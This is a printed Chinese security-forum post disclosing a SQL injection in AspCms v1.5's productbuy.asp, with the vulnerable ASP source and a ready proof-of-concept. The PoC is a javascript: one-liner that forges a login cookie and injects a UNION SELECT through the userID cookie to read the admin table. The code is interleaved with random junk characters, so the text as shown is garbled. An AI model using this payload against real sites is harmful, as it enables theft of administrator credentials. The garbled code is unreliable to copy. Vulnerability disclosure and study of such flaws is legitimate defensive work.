中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
6 D. u' T# p9 {# n也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。2 }  T( L" W4 ?( F. [4 e
废话不多说,看代码:0 T% B* a: ?; C  f' c5 n3 K! F1 q
; [" K: X" B; ~( K& f6 _
<%$ ^% m. ?# b% [8 m! N9 n, y
& t; M# M7 j% \
if action = "buy" then
1 s* G3 p# b/ ?- _; D: T0 }% Y9 n# g$ n3 Q
        addOrder()
$ x* O! w4 S' V6 G' D- c3 Q( s6 V; w' r
else/ J: D/ ?% o2 [4 E
5 f: |" [6 Q1 V6 A2 X9 s' A3 n
        echoContent()
& }4 T* t1 D/ {+ L
/ A( S; C* e7 g) J3 g5 V' xend if
6 L/ S) w* o( w9 I4 {+ `  Z2 f# u4 O# h9 y1 w: |
5 X& b7 ?, J) A, z6 Y! A3 C
  B7 F  D. W& N4 k  X2 ?8 g0 ~2 o
……略过
, f1 U! e. E8 A4 W% |" S& z2 u
, K  a# _7 r$ K# @$ r- a4 p. o0 X4 r* @9 R* W. P8 f

% ~  m' u1 P8 qSub echoContent()( {- x( O( ^% ^' J
7 D9 T6 B3 V6 T6 p  j
        dim id* B# `1 k/ P3 j2 K

: I+ ?8 Q; Q) j& x* d9 ^        id=getForm("id","get"), w# M, E, p" _. p# [8 k

# J9 K& U/ |6 S$ {0 E+ v9 }        
& a+ g0 c3 ~: |
4 n2 I6 Q& y5 ^; U        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 0 p* k0 w' x& O" S& ^# K0 [6 v

. Q& E' s& V) t9 _  t% W* w2 S; ]        
8 P$ |' y7 U% [2 U; b- Q# X+ A3 l5 e
$ ~( w" F& I/ k        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ z5 B4 [( D  `

% Z1 J- v( [$ b/ V; j/ s0 D/ y6 p        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 y- p3 _5 o; Y- ]# g7 m' S

4 u+ c5 |3 t% |        Dim templatePath,tempStr8 N9 c7 {+ ~" c# ]' h
" @1 M& ]5 K, Z# b
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html") G3 O2 x1 W! q& o; a9 r5 ?" b
0 g8 M& d* p1 Z% K9 @9 \

' ~9 e( s* E! g! F$ e1 r3 q4 q. }
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 ?1 P% b! G9 |1 w: x4 Y! j) i% M9 d
        selectproduct=rsObj(0)% x  O: u) d% i

6 H* `* A1 T4 n& C5 c$ f        
- j4 g6 ]: v) s! e$ K
* J' I+ I9 V. g8 D$ L        Dim linkman,gender,phone,mobile,email,qq,address,postcode3 n7 t: k% ?0 N2 m
: }2 i- o& x% A
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",07 x+ w+ w: |7 {. b7 n

& ~0 b/ C% c2 K% p/ v        if rCookie("loginstatus")=1 then  
* b4 i7 Z! j" Y
3 l5 D8 x2 d% v1 E; f6 R* f                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"); C  g& `0 t  t* Q9 ^
! w8 F9 M6 h. x' [& `
                linkman=rsObj("truename")
6 Y, A8 G$ Q& k' R8 s/ o! b9 x8 c. C  g# s! F, F# ~3 o) b
                gender=rsObj("gender")
' t0 @& L. G& h- D
( _8 o; ^' @* u% F                phone=rsObj("phone")
3 b2 q, Q0 V9 c: p  i8 M( p8 X
- @3 R5 ?. K* ]                mobile=rsObj("mobile")
: o. X6 d1 Z- z8 U: F5 Z2 e  c; G9 j  ?- q0 l6 G. T! {
                email=rsObj("email")
: B; V4 ?0 t% l5 \! a* E
$ U0 k8 i$ P7 L# T/ s                qq=rsObj("qq"), P7 P! J0 J/ P- m' Z) ?! M2 ~

% z* ~8 q8 V8 V/ D                address=rsObj("address")
& J9 @) r4 x3 B9 d  l
( r1 F' S. p  R& O! O4 V! }                postcode=rsObj("postcode")
5 N4 R4 F% L. A: M( D* m- K# ~# `3 j$ h3 y" i1 r/ l: i: L) g
        else 8 _7 R7 j, x# j; V

- j3 I; F, s! L5 U0 F                gender=1
$ `  U2 z5 @8 K0 p2 q( {; Z: I+ u) u, `) Y1 N. i2 b% E9 w$ s
        end if
- U9 X. T& d( x1 D9 z
- S  N( @: J- ]8 B9 f: ?- _8 |0 N        rsObj.close()* [! ]: N1 ?2 R

2 A, H1 g3 e/ C                - p+ d. H1 O( V/ f0 X
5 y6 o$ w: y- l
        with templateObj
  |- L. g! K+ G+ Y, p/ A! [  {9 J2 a9 `
                .content=loadFile(templatePath)        % h9 t# w5 @  }& X
5 q6 m  g' ?4 H0 X8 N% g" V' I
                .parseHtml()* E, v# v) u, H/ }
. }6 E  m- |$ m/ \: N) w
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
( i4 Q0 U' E# n' w1 p4 N7 H# K& N+ M% W
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
' ]% n/ Z: w. b+ R) q% H& ~# x0 [& b& x/ A/ j+ m6 p
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  n: K: V% R2 X' r( C
! f; \. F: ~9 V( V3 ~                .content=replaceStr(.content,"[aspcms:phone]",phone)               
! {; L2 y* R" A6 _$ j% e6 M$ ^) M) D6 C* \2 |
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
4 t9 f! ~- |4 Y- g6 c$ S1 G' c1 s3 m, A% ?$ v- b$ ?
                .content=replaceStr(.content,"[aspcms:email]",email)                        ( }8 q9 z: `. n* M
# S  Q+ \0 u' B% J" p' \6 ]
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        1 a3 f9 `3 `- j. M, G  w$ H$ C

/ ~+ e& S& a5 S                .content=replaceStr(.content,"[aspcms:address]",address)                        # n" {7 ^# ~7 _: h9 f- U0 S

  v+ o; U3 J5 [  @                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
# A. q9 Y# Z9 v& {% e2 r
3 w$ P8 _. C+ d, E' h3 ~2 c3 l                .parseCommon()                 7 e% w5 ^. j+ g7 h* `: M. a1 a! I

: X- J. @8 ^( S1 ]                echo .content
8 Y! M# w4 n! R
  o! l3 R7 n! e/ f        end with
6 t/ L, h9 Y. j  E8 I9 r( l' ~9 r9 ^8 {5 ^3 {$ k+ [
        set templateobj =nothing : terminateAllObjects
3 M& u& ^# f  H
, j, V3 I. V: B: Z8 ~% zEnd Sub
3 [  m4 E: z( X4 @/ j漏洞很明显,没啥好说的
. G! ?4 f: l$ D! b  E7 T/ `6 kpoc:
  X  B! ]1 M) n4 F' s$ @5 U- H0 ^( e% f% e9 E' _& R9 ]
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
5 ~# A: \6 N1 h9 s- V7 w5 e  _! h5 D) H; V! L





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2